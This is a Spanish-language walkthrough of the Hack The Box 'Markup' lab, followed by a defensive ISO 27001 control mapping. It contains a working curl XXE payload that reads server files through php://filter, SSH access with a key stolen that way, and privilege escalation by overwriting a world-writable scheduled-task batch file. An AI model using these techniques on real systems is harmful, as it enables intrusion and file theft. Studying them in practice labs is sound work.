Markup — Windows / XAMPP: del XXE a la flag de usuario

Writeup publicado. Detalles de flags redactadas por regla del repo. Laboratorios Hack The Box — entornos de práctica legal.

1. Reconocimiento (enumeración prolija, no escaneo reflejo)

Primer pase, de poco ruido y pensando en el objetivo:

nmap -sS -Pn -T2 --top-ports 1000 --open --max-retries 2 10.129.53.17
Puerto Servicio Versión Lectura de operador
22 ssh OpenSSH for_Windows SSH en Windows = vector secundario, casi seguro para shell final
80 http Apache 2.4.41 Win64 XAMPP (PHP 7.2.28, EOL) → stack viejo, buen candidato a vulns
443 ssl/http Apache 2.4.41 Cert self-signed 2009 para localhost → sin WAF real

Lo que dijo el escaneo sin "decirlo": 65532 filtered = Windows Firewall estricto, solo 3 puertos vivos. Atacar 22/80/443, nada más. Y el stack XAMPP + PHP viejo = el camino casi seguro está en la web.

Evolución: en vez de -T4 -p- con scripts, el pase fino (-sS -Pn -T2, sin -sC) mapeó sin quemar el objetivo — y las versiones se leen como señal, no como dato decorativo.

2. Enumeración web

gobuster dir -u http://10.129.53.17 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,zip -t 20

Hallazgos relevantes (el resto era ruido):

La lectura de operador: "todo vuelve a index.php" + db.php tamaño 0 + PHPSESSID sin httponly = app casera con lógica de sesión propia. Está diciendo "probame por acá".

3. Explotación — XXE en process.php

El form de services.php no mandaba application/x-www-form-urlencoded: el JS construía un payload XML y lo enviaba con Content-Type: text/xml:

<?xml version="1.0"?>
<order><quantity>3</quantity><item>Electronics</item><address>...</address></order>

process.php (los warnings de PHP lo confirmaron en el acto):

libxml_disable_entity_loader(false);
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$order = simplexml_import_dom($dom);
echo "Your order for $item has been processed";

LIBXML_NOENT + libxml_disable_entity_loader(false) = XXE clásico. item se refleja (vector de salida), address no — así que jugamos con item:

curl -s -b $JAR -X POST http://10.129.53.17/process.php -H 'Content-Type: text/xml' \
  --data-binary '<?xml version="1.0"?><!DOCTYPE order [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/xampp/htdocs/db.php">]>
<order><quantity>3</quantity><item>&xxe;</item><address>x</address></order>'

Base64 decodificado → lectura de archivos arbitraria en el Windows:

<?php
$conn = mysqli_connect("localhost", "root", "", "goods");

Confirmaciones inmediatas: XAMPP (C:\xampp\htdocs), BD goods, MySQL root sin password (pero solo localhost). El login de la web usaba prepared statements (bind_param) → no era SQLi, era app custom con XXE.

4. Lectura de archivos → clave SSH → shell

Con el XXE, en vez de adivinar, leí la config y la estructura:

ssh -i id_rsa daniel@10.129.53.17

Shell de Windows como markup\daniel. La flag de usuario se leyó tanto por XXE directo como por shell.

5. Escalada: Scheduled Task sobre job.bat

En disco, C:\Log-Management\job.bat:

@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo Event Logs have been cleared!
...

Por qué era el vector: el .bat exige Administrador y borra logs → casi seguro lo corre una tarea programada con privilegios altos. Y la ACL confirmaba el flanco:

icacls C:\Log-Management\job.bat
# BUILTIN\Users:(F)     <-- cualquier usuario tiene control total
# NT AUTHORITY\SYSTEM:(I)(F)

Users:(F) sobre un archivo que corre como admin = scrípter de privilegios por diseño: sobreescribir job.bat con un payload que copie la flag root a un lugar legible y esperar a que la tarea lo corra.

Flag de root obtenida por la corrida de la tarea con el payload ya plantado. (Detalle redactado por regla del repo.)

6. Lecciones para el mundo real (la parte que importa)

Controles que faltaban en la víctima (y cómo los mapearía un auditor ISO 27001):

Flanco explotado Control ISO/IEC 27001 aplicable
XXE sin deshabilitar entidades externas A.8.28 Secure coding — validar entrada/payload y desactivar procesamiento de entidades externas
Clave SSH privada accesible vía web (ida en C:\Users\...\.ssh) A.8.5 Authentication + A.8.24 Use of cryptography — llaves en almacén con ACLs, nunca alcanzables por el servicio web
Users:(F) sobre un script que corre como admin A.8.2 Privileged access rights — minimizar ACLs de escritura sobre archivos de ejecución privilegiada
MySQL root sin password (localhost) A.8.14 Capacity / A.5.x — gestión de credenciales: usar credenciales por servicio mínimas

Patrones de ataque que quedan para tu caja de herramientas:

  1. Los warnings de PHP/errores son una feature: process.php delató la línea de loadXML y el patrón completo. Un entorno bien configurado no expone errores (y aun así el XXE se detecta por comportamiento).
  2. php://filter para leer archivos que file:// no deja: con file:// no leías el source PHP; con base64 sí.
  3. Leer la ACL (icacls) antes de probar escalada: Users:(F) sobre job.bat decía por sí sola "escríbime". La enumeración prolija de archivos del sistema es lo que diferencia esto de tironear exploits a ciegas.
  4. Linux vs Windows cambia el juego: no hay sudo -l ni SUID. La escalada en Windows pasa por ACLs, tareas programadas, servicios y token privileges — este box es un ejemplo perfecto de ese mindset distinto.

7. Wik en ciernes

Esta máquina fue la primera de la serie Windows + escalada por tareas programadas en mi ruta. Siguientes pasos del tema: SeImpersonatePrivilege / potato, servicios mal configurados (services con binPath editable), y análisis de tokens con whoami /priv para escalar sin escribir disco.